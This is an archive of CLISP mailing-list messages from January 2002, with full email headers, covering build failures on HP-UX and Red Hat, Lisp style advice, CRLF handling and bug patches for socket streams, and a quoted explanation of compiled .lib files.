for ; Wed, 02 Jan 2002 06:42:25 -0800 Received: from there (localhost.localdomain [127.0.0.1]) by rray.mstc.state.ms.us (8.11.6/8.8.7) with SMTP id g02EfBb07408 for ; Wed, 2 Jan 2002 08:41:11 -0600 Message-Id: <200201021441.g02EfBb07408@rray.mstc.state.ms.us> Content-Type: text/plain; charset="iso-8859-1" From: Richard Ray To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Subject: [clisp-list] Help building clisp on HP/UX 10.20 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 2 06:43:06 2002 X-Original-Date: Wed, 2 Jan 2002 08:41:10 -0600 Does anyone have advise for building clisp on hpux 10.20? I've tried a couple of times and configure never completes. Maybe someone has experience before I send configure's output. Richard From samuel.steingold@verizon.net Wed Jan 02 06:48:30 2002 Received: from smtp003pub.verizon.net ([206.46.170.182]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Lmgu-0006kY-00 for ; Wed, 02 Jan 2002 06:48:28 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by smtp003pub.verizon.net with ESMTP ; id g02EmHR09521 Wed, 2 Jan 2002 08:48:18 -0600 (CST) To: Miguel =?iso-8859-1?q?Gon=E7alves?= Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Pure LISP? References: <20020102104519.A813@takeaway.miguelg.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020102104519.A813@takeaway.miguelg.net> Message-ID: Lines: 61 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 2 06:49:02 2002 X-Original-Date: 02 Jan 2002 09:47:07 -0500 > * In message <20020102104519.A813@takeaway.miguelg.net> > * On the subject of "[clisp-list] Pure LISP?" > * Sent on Wed, 2 Jan 2002 10:45:19 +0000 > * Honorable Miguel Gon=E7alves writes: > > I am starting out with Common Lisp and I have a question: general Common Lisp questions are best asked on news:comp.lang.lisp > Does pure LISP include sequential calls to functions, i.e., what's "pure"? > (progn f1 f2)? CL has it. > I can write the previous function as ((lambda (p) f2) f1) also that is > similar in a mathematical language to f2(f1) and therefore LISP > evaluates f1 first. don't do it. you write code for _people_ (including yourself) to read (the fact that your code might get executed by a computer is almost an accident). PROGN is more clear than the lambda expression for this. > How can I write sequential code in LISP without this? In particular I > have a function like this: >=20 > (defun terminate (connection message) > (progn > (close connection) > (format t "~s~%" message) > (exit 1) > ) > ) hanging parens are ugly. > Can I use thee following construction? >=20 > (defun terminate (connection message) > (exit (format t "~s~%" message (close connection))) > ) this happened to be valid in CLISP, even though it is not the same as your first version (FORMAT returns NIL and not 1). this is just fine: (defun terminate (connection message) (close connection) (format t "~a~%" message) (exit 1)) --=20 Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Failure is not an option. It comes bundled with your Microsoft product. From samuel.steingold@verizon.net Wed Jan 02 07:08:41 2002 Received: from [206.46.170.237] (helo=pop010pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Ln0S-00029d-00 for ; Wed, 02 Jan 2002 07:08:40 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by pop010pub.verizon.net with ESMTP ; id g02F8X5g011849 Wed, 2 Jan 2002 09:08:34 -0600 (CST) To: Richard Ray Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Help building clisp on HP/UX 10.20 References: <200201021441.g02EfBb07408@rray.mstc.state.ms.us> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200201021441.g02EfBb07408@rray.mstc.state.ms.us> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 2 07:09:05 2002 X-Original-Date: 02 Jan 2002 10:07:22 -0500 > * In message <200201021441.g02EfBb07408@rray.mstc.state.ms.us> > * On the subject of "[clisp-list] Help building clisp on HP/UX 10.20" > * Sent on Wed, 2 Jan 2002 08:41:10 -0600 > * Honorable Richard Ray writes: > > Does anyone have advise for building clisp on hpux 10.20? I've tried a > couple of times and configure never completes. Maybe someone has > experience before I send configure's output. $ uname -a $ ./configure build -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! If you want it done right, you have to do it yourself From tas@webspan.net Wed Jan 02 08:30:05 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16LoHD-0003jN-00 for ; Wed, 02 Jan 2002 08:30:03 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id LAA28214; Wed, 2 Jan 2002 11:29:56 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bugs in (setf (stream-element-type x) ...) References: From: Todd Sabin In-Reply-To: (Sam Steingold's message of "01 Jan 2002 23:26:49 -0500") Message-ID: Lines: 102 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 2 08:31:28 2002 X-Original-Date: 02 Jan 2002 11:29:55 -0500 Sam Steingold writes: > > So, I tried: > > > > [1]> (setq *my-sock* (socket-connect 80 "jetcar.qnz.org" :buffered t)) > > # > > [2]> (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0 > > > > ") > you mean (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0~2%") ? :-) No, there were CR returns in there, as well. I suppose I could have done (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0^M~%^M~%"). Most ascii based network protocols specify that lines should end with CRLF, not just LF. Many clients get this wrong, and most servers are forgiving when clients get it wrong, but I like to get it right, anyway. > > There seem to be a few ways around it, but I haven't attempted any of > > them. > > > > o The flag could be done away with by reading the next char from > > input, and discarding it if it's a LF, and unreading it if not. In > > theory, this might cause an app to hang where it wouldn't have before, > > but I think the risk of that is pretty low. > > using UnbufferedStreamLow_listen() should prevent hanging. > > if (ignore_next_LF) { > if (UnbufferedStreamLow_listen()) { > if (peak_char() == LF) > read_char(); > } > } > > patch would be welcome. > Will the low-level peek_char do roughly the same thing as the lisp-level one? I.e., read-char, unread-char? If so, then that may not work, because it probably means the user can't unread the #\Newline he's about to get, since we may have just unread the next char. Or is there a way around this? Also, this wouldn't handle the case where the next character will be a LF, but it's not available, yet. This can happen in the buffered case, as well, and it's not even necessary to use (setf (stream-element-type ..)) to get incorrect results in that case. It seems that the buffered case needs to pay attention to ignore_next_LF, too. There seem to be other implications with the way things currently stand, as well. Say I want to write an HTTP proxy. What I'd do is listen for a connection on a socket. When I get one, do read-line until I get an empty line, process the request, send the results to my client and close the socket (stream). If I do that but don't use a buffered stream, then I'll end up sending a TCP RST to my client because the last LF of his request will remain unread. Ugh. > > secret to debugging clisp in gdb? I had to resort to printfs. I saw > > the Makefile.devel, but it didn't seem to have any support for doing a > > debug build. > > this is strange - I have never seen this. > did you try giving "debug" arg to makemake? > (makemake --help mentions this) > Ah, didn't see makemake, thanks. I just scanned though configure and Makefile. > > p.p.s. Is there any way not to do the CRLF translation? As it > > stands, if I wanted to, e.g., write a network server that verified > > strict compliance of its clients, i.e., make sure there are both a CR > > and a LF at the end of lines, there's no way to do it with clisp, > > unless I treat everything as bytes instead of chars, which makes lots > > of other things unwieldy. > > This is true. > This feature has been requested in the past and was turned down - it > adds more complexity for a doubtful benefit. > The real answer is: "if you want to distinguish between CR and CR/LF, > you are doing something too low level" (or, maybe even "if you think you > need to distinguish between CR and CR/LF, think again"). > Well, if the feature has been requested before and is being requested again, perhaps that means there is a benefit. I know why I'd want to be able to distinguish CR and CRLF, and I even gave an example. > If you implement a clean interface (e.g., adding INPUT-LINE-TERMINATOR > slot to ENCODING) and send us a patch, we will think about it. > Well, I don't need it enough to implement it, presently. Especially if I'm not sure the maintainers are receptive to the idea. Just getting CRLF->LF translation right seems like enough of a challenge for now. I may just workaround it with peek-char and/or buffering, but it'd be nice to fix it right. Todd From william.newman@airmail.net Wed Jan 02 12:42:23 2002 Received: from mx3.airmail.net ([209.196.77.100]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16LsDL-0005MY-00 for ; Wed, 02 Jan 2002 12:42:19 -0800 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx3.airmail.net with smtp (Exim 3.16 #10) id 16LsDJ-000GoN-00 for clisp-list@lists.sourceforge.net; Wed, 02 Jan 2002 14:42:17 -0600 Received: from balefire.localdomain from [207.136.55.192] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Wed, 2 Jan 2002 14:43:53 -0600 (CST) Received: (from newman@localhost) by balefire.localdomain (8.11.3/8.11.3) id g02KVlD32215; Wed, 2 Jan 2002 14:31:47 -0600 (CST) From: William Harold Newman To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problems bootstrapping SBCL with CLISP Message-ID: <20020102143146.A24254@balefire.localdomain> References: <20011230131716.B6073@balefire.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Tue, Jan 01, 2002 at 10:38:30PM -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 2 12:43:06 2002 X-Original-Date: Wed, 2 Jan 2002 14:31:46 -0600 On Tue, Jan 01, 2002 at 10:38:30PM -0500, Sam Steingold wrote: > > * In message <20011230131716.B6073@balefire.localdomain> > > * On the subject of "[clisp-list] problems bootstrapping SBCL with CLISP" > > * Sent on Sun, 30 Dec 2001 13:17:16 -0600 > > * Honorable William Harold Newman writes: > > > > "2.27 (released 2001-07-17) (built 3215971334) (memory 3215971555)" > > this was built in the end of November 2001 from quite old sources. > you should use the CVS sources as many things (like MAKE-LOAD-FORM, > FORMAT ~_ &c) have been added. Good. > > There was a non-ANSI-ism in CLISP that I successfully worked around: > > (DOCUMENTATION X) fails when X is a PACKAGE. > > this is a known deficiency: DOCUMENTATION still has CLtL1 implementation. > patches are welcome. Right. > > Compilation of file /usr/stuff/sbcl/src/code/show.lisp is finished. > > 0 errors, 0 warnings > > *** - RENAME-FILE: File #P"/usr/stuff/sbcl/obj/from-host/src/code/show.lisp-obj" already exists > > 1. Break SB-COLD[8]> backtrace > > EVAL frame for form > > (FUNCALL LOAD-OR-CLOAD-STEM STEM :IGNORE-FAILURE-P > > (FIND :IGNORE-FAILURE-P FLAGS)) > > what's the value of the variable LOAD-OR-CLOAD-STEM? > it is the function which generates the error. > > > but my guess the failure might be from a RENAME-FILE call within > > (COMPILE-FILE SRC :OUTPUT-FILE :TMP-OBJ). > > :TMP-OBJ is not a valid arg to :OUTPUT-FILE. That was a typo in my previous message. It's actually TMP-OBJ, a variable holding an arbitrary filename. (One which for weird historical reasons doesn't end either in ".fas" or in ".lib", but in something like ".lisp-obj".) Incidentally, I've since rediscovered that CLISP uses two files to represent compiled files. The SBCL build process -- for more weird historical reasons -- relies on moving the file created by COMPILE-FILE to a new location. How important is the second file created by CLISP's COMPILE-FILE? Is the SBCL build process going to fail because it only moves part of the output of COMPILE-FILE? > (compile-file "d:/sds/lisp/init.lisp" :output-file "c:/tmp/tmp.fas") > works just fine for me. > > > There's also a remaining non-ANSI-ism in CLISP which has historically > > caused problems in SBCL bootstrapping, even though I didn't run into > > it this time: (FUNCTION (SETF SYMBOL-FUNCTION)) doesn't work (signals > > an error). > > hmmm - didn't know about this bug. > I will look into this. > > > Also, CLISP's non-ANSI-compliant FORMAT strings (no support for the > > post-CLTL1 "~_" directive) > > this has been added some months ago. > please use the CVS version. I just tried that. I checked out a fresh copy of the source a few hours ago onto my old RedHat Linux machine, 6.2 IIRC, $ uname -a Linux lightning.localdomain 2.2.14-5.0 #1 Tue Mar 7 20:53:41 EST 2000 i586 unknown I did 8 ./configure 9 cd src 10 makemake --with-readline --with-gettext --with-dynamic-ffi > Makefile 11 ./makemake --with-readline --with-gettext --with-dynamic-ffi > Makefile 12 make config.lisp 13 make It failed. The tail of the output from "make" looks like this: gcc -g -O2 -I. -I../../sigsegv ../../sigsegv/test3.c -x none -o test3 ./.libs/libsigsegv.a ./test1 ./test2 ./test3 Starting recursion pass 1. Stack overflow 1 caught. Starting recursion pass 2. Stack overflow 2 caught. Test passed. make[1]: Leaving directory `/usr/local/src/clisp/src/sigsegv' make[1]: Entering directory `/usr/local/src/clisp/src/sigsegv' if [ ! -d /usr/local/src/clisp/src ] ; then mkdir /usr/local/src/clisp/src ; fi /bin/sh ./libtool --mode=install /usr/bin/install -c -m 644 libsigsegv.la /usr/local/src/clisp/src/libsigsegv.la /usr/bin/install -c -m 644 .libs/libsigsegv.lai /usr/local/src/clisp/src/libsigsegv.la /usr/bin/install -c -m 644 .libs/libsigsegv.a /usr/local/src/clisp/src/libsigsegv.a ranlib /usr/local/src/clisp/src/libsigsegv.a chmod 644 /usr/local/src/clisp/src/libsigsegv.a libtool: install: warning: remember to run `libtool --finish /usr/local/lib' if [ ! -d /usr/local/src/clisp/src ] ; then mkdir /usr/local/src/clisp/src ; fi /usr/bin/install -c -m 644 sigsegv.h /usr/local/src/clisp/src/sigsegv.h make[1]: Leaving directory `/usr/local/src/clisp/src/sigsegv' gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c spvw.c In file included from lispbibl.d:1751, from spvw.d:21: unix.d:874: conflicting types for `iconv' /usr/include/iconv.h:45: previous declaration of `iconv' In file included from spvw.d:21: lispbibl.d:7039: warning: register used for two global register variables spvw.d: In function `main': spvw.d:1705: warning: variable `argv_memneed' might be clobbered by `longjmp' or `vfork' make: *** [spvw.o] Error 1 -- William Harold Newman "Our users will know fear and cower before our software! Ship it! Ship it and let them flee like the dogs they are!" -- Klingon programmer PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From tas@webspan.net Wed Jan 02 19:19:09 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16LyPN-0006Ly-00 for ; Wed, 02 Jan 2002 19:19:09 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id WAA30082; Wed, 2 Jan 2002 22:19:01 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: William Harold Newman Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problems bootstrapping SBCL with CLISP References: <20011230131716.B6073@balefire.localdomain> <20020102143146.A24254@balefire.localdomain> From: Todd Sabin In-Reply-To: <20020102143146.A24254@balefire.localdomain> (William Harold Newman's message of "Wed, 02 Jan 2002 14:31:46 -0600") Message-ID: Lines: 21 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 2 19:20:01 2002 X-Original-Date: 02 Jan 2002 22:19:01 -0500 William Harold Newman writes: > > I just tried that. I checked out a fresh copy of the source a few hours > ago onto my old RedHat Linux machine, 6.2 IIRC, >[...] > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c spvw.c > In file included from lispbibl.d:1751, > from spvw.d:21: > unix.d:874: conflicting types for `iconv' > /usr/include/iconv.h:45: previous declaration of `iconv' I'm seeing the same thing with the latest cvs on RH 6.2. The problem is that ICONV_CONST isn't being set properly. I commented out the three iconv decls in unix.d and it built ok afterwards. No idea how to fix the configure script. The latest cvs builds fine on my RH 7.2 box. Todd From tas@webspan.net Wed Jan 02 19:49:04 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16LysK-0007Q8-00 for ; Wed, 02 Jan 2002 19:49:04 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id WAA30145; Wed, 2 Jan 2002 22:48:57 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net From: Todd Sabin Message-ID: Lines: 34 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] socket-stream-peer fails on buffered streams Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 2 19:50:01 2002 X-Original-Date: 02 Jan 2002 22:48:57 -0500 [1]> (setq *my-sock* (socket-connect 80 "jetcar.qnz.org" :buffered t)) # [2]> (socket-stream-peer *my-sock*) *** - UNIX error 9 (EBADF): Bad file number 1. Break [3]> Problem is the use of strm_ichannel instead of strm_buffered_channel on a buffered stream. Patch against current cvs: --- stream.d~ Tue Jan 1 23:09:10 2002 +++ stream.d Wed Jan 2 22:21:06 2002 @@ -14965,7 +14965,9 @@ var bool resolve_p = (eq(NIL,STACK_0) || eq(unbound,STACK_0)); skipSTACK(1); var object stream = test_socket_stream(popSTACK(),true); - var SOCKET sk = TheSocket(TheStream(stream)->strm_ichannel); + var SOCKET sk = ChannelStream_buffered (stream) + ? TheSocket(TheStream(stream)->strm_buffered_channel) + : TheSocket(TheStream(stream)->strm_ichannel); var host_data hd; begin_system_call(); It looks like there are probably other places that may need something similar. Todd From tas@webspan.net Wed Jan 02 20:22:43 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16LzOs-0006Ln-00 for ; Wed, 02 Jan 2002 20:22:42 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id XAA30217; Wed, 2 Jan 2002 23:22:35 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net From: Todd Sabin Message-ID: Lines: 21 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] socket-streams vs. two-way streams Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 2 20:23:08 2002 X-Original-Date: 02 Jan 2002 23:22:35 -0500 Is there a reason why socket-streams are not real two-way streams? The implementation notes refer to them as two-way streams as opposed to just IO streams, but two-way-stream-input-stream, e.g. fails on them. However, if I just do this: # check whether the stream S is a two-way-stream #define stream_twoway_p(s) \ - (builtin_stream_p(s) && (TheStream(s)->strmtype == strmtype_twoway)) + (builtin_stream_p(s) && ((TheStream(s)->strmtype == strmtype_twoway) + || (TheStream(s)->strmtype == strmtype_twoway_socket))) Then buffered sockets, at least, work as you would expect. At least, in my two minutes of testing :). With a little work, the unbuffered case could be handled similarly. Would you accept a patch which did this? Todd From amoroso@mclink.it Thu Jan 03 04:24:59 2002 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16M6vS-0005cD-00 for ; Thu, 03 Jan 2002 04:24:50 -0800 Received: from net145-109.mclink.it (net145-109.mclink.it [195.110.145.109]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id g03COhQ17439 for ; Thu, 3 Jan 2002 13:24:43 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problems bootstrapping SBCL with CLISP Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <20011230131716.B6073@balefire.localdomain> <20020102143146.A24254@balefire.localdomain> In-Reply-To: <20020102143146.A24254@balefire.localdomain> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 3 04:25:03 2002 X-Original-Date: Thu, 03 Jan 2002 13:21:39 +0100 On Wed, 2 Jan 2002 14:31:46 -0600, William Harold Newman wrote: > Incidentally, I've since rediscovered that CLISP uses two files to > represent compiled files. The SBCL build process -- for more weird > historical reasons -- relies on moving the file created by > COMPILE-FILE to a new location. How important is the second file > created by CLISP's COMPILE-FILE? Is the SBCL build process going to I include below a reply by Bruno to a similar question I asked a while back to the list. Paolo ------------------------------------------------------------------------- ~To: Multiple recipients of list ~Subject: Re: What's the purpose of .lib files? ~From: Bruno Haible ~Date: Thu, 24 Sep 1998 09:55:03 -0700 (PDT) Paolo Amoroso asks: > What is the purpose of the .lib files generated by the compiler? The .lib files contain definitions that may be needed for compiling other files. Suppose you have a file A.lsp, defining functions, macros, constants etc. And you have a file B.lsp, which contains a (require 'A) statement, because it uses some things defined by A.lsp. Then compilations of B.lsp will profit from a file A.lib, generated by a previous compilation of A.lsp. The benefit is threefold: - You don't need to have A loaded in order to compile B. If memory is tight, and if A contains only few inline functions, macros or constants, this is a space and time saver. If A.lsp does a lot of initializations or side effects when being loaded, this is important as well. - You don't need to have A loaded in order to compile B. You don't even have to *think* about A when loading or compiling B. - Suppose A.lsp is changed rarely, and B.lsp is changed frequently. It would be a waste of time to compile both A and B every time. The .lib file ensures that A is compiled only when needed. Bruno ------------------------------------------------------------------------- -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://web.mclink.it/amoroso/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] From rray1@netdoor.com Thu Jan 03 06:02:08 2002 Received: from net11h130.itsd.state.ms.us ([205.144.226.130] helo=rray.mstc.state.ms.us) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16M8Rb-0005L9-00 for ; Thu, 03 Jan 2002 06:02:07 -0800 Received: from there (localhost.localdomain [127.0.0.1]) by rray.mstc.state.ms.us (8.11.6/8.8.7) with SMTP id g03E0ob10597 for ; Thu, 3 Jan 2002 08:00:50 -0600 Message-Id: <200201031400.g03E0ob10597@rray.mstc.state.ms.us> From: Richard Ray To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Help building clisp on HP/UX 10.20 X-Mailer: KMail [version 1.3.1] References: <200201021441.g02EfBb07408@rray.mstc.state.ms.us> In-Reply-To: MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_D98D1LT6R1AUVAASZYED" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 3 06:03:03 2002 X-Original-Date: Thu, 3 Jan 2002 08:00:49 -0600 --------------Boundary-00=_D98D1LT6R1AUVAASZYED Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit On Wednesday 02 January 2002 09:07 am, you wrote: > > * In message <200201021441.g02EfBb07408@rray.mstc.state.ms.us> > > * On the subject of "[clisp-list] Help building clisp on HP/UX 10.20" > > * Sent on Wed, 2 Jan 2002 08:41:10 -0600 > > * Honorable Richard Ray writes: > > > > Does anyone have advise for building clisp on hpux 10.20? I've tried a > > couple of times and configure never completes. Maybe someone has > > experience before I send configure's output. > > $ uname -a > $ ./configure build Attached is the output of these commands --------------Boundary-00=_D98D1LT6R1AUVAASZYED Content-Type: text/plain; charset="iso-8859-1"; name="configure.out" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="configure.out" SFAtVVggZGV2bCBCLjEwLjIwIEUgOTAwMC84MTkgNzE2MzEzMjEgOC11c2VyIGxpY2Vuc2UKCmV4 ZWN1dGluZyBidWlsZC9jb25maWd1cmUgLi4uCmNyZWF0aW5nIGNhY2hlIC4vY29uZmlnLmNhY2hl CmNoZWNraW5nIGZvciBnY2MuLi4gY2MgLUFlIC16IC1EX0hQVVhfU09VUkNFCmNoZWNraW5nIHdo ZXRoZXIgdGhlIEMgY29tcGlsZXIgKGNjIC1BZSAteiAtRF9IUFVYX1NPVVJDRSAgKSB3b3Jrcy4u LiB5ZXMKY2hlY2tpbmcgd2hldGhlciB0aGUgQyBjb21waWxlciAoY2MgLUFlIC16IC1EX0hQVVhf U09VUkNFICApIGlzIGEgY3Jvc3MtY29tcGlsZXIuLi4gbm8KY2hlY2tpbmcgd2hldGhlciB3ZSBh cmUgdXNpbmcgR05VIEMuLi4gbm8KY2hlY2tpbmcgaG93IHRvIHJ1biB0aGUgQyBwcmVwcm9jZXNz b3IuLi4gY2MgLUFlIC16IC1EX0hQVVhfU09VUkNFIC1FCmNoZWNraW5nIGZvciBBSVguLi4gbm8K Y2hlY2tpbmcgd2hldGhlciB1c2luZyBHTlUgQy4uLiBubwpjaGVja2luZyB3aGV0aGVyIHVzaW5n IEMrKy4uLiBubwpjaGVja2luZyB3aGV0aGVyIHVzaW5nIEFOU0kgQy4uLiB5ZXMKY2hlY2tpbmcg d2hldGhlciBDUFAgbGlrZXMgaW5kZW50ZWQgZGlyZWN0aXZlcy4uLiB5ZXMKY2hlY2tpbmcgd2hl dGhlciBDUFAgbGlrZXMgZW1wdHkgbWFjcm8gYXJndW1lbnRzLi4uIG5vCmNoZWNraW5nIGZvciB1 bmRlcnNjb3JlIGluIGV4dGVybmFsIG5hbWVzLi4uIG5vCmNoZWNraW5nIGZvciByYW5saWIuLi4g cmFubGliCmNoZWNraW5nIGZvciBhIEJTRCBjb21wYXRpYmxlIGluc3RhbGwuLi4gL29wdC9pbWFr ZS9iaW4vaW5zdGFsbCAtYwpjaGVja2luZyBob3cgdG8gY29weSBmaWxlcy4uLiBjcCAtcApjaGVj a2luZyBob3cgdG8gbWFrZSBoYXJkIGxpbmtzLi4uIGxuCmNoZWNraW5nIHdoZXRoZXIgbG4gLXMg d29ya3MuLi4geWVzCmNoZWNraW5nIGhvdyB0byBtYWtlIGhhcmQgbGlua3MgdG8gc3ltbGlua3Mu Li4gbG4KY2hlY2tpbmcgZm9yIGdyb2ZmLi4uIG5vCmNoZWNraW5nIGZvciBnZXRwd25hbS4uLiB5 ZXMKY2hlY2tpbmcgZm9yIERZTklYL3B0eCBsaWJzZXEgb3IgbGlic29ja2V0Li4uIG5vCmNoZWNr aW5nIHdoZXRoZXIgZ2V0aG9zdGVudCByZXF1aXJlcyAtbG5zbC4uLiBubwpjaGVja2luZyB3aGV0 aGVyIHNldHNvY2tvcHQgcmVxdWlyZXMgLWxzb2NrZXQuLi4gbm8KY2hlY2tpbmcgd2hldGhlciBD QyB3b3JrcyBhdCBhbGwuLi4geWVzCmNoZWNraW5nIGhvc3Qgc3lzdGVtIHR5cGUuLi4gY29uZmln 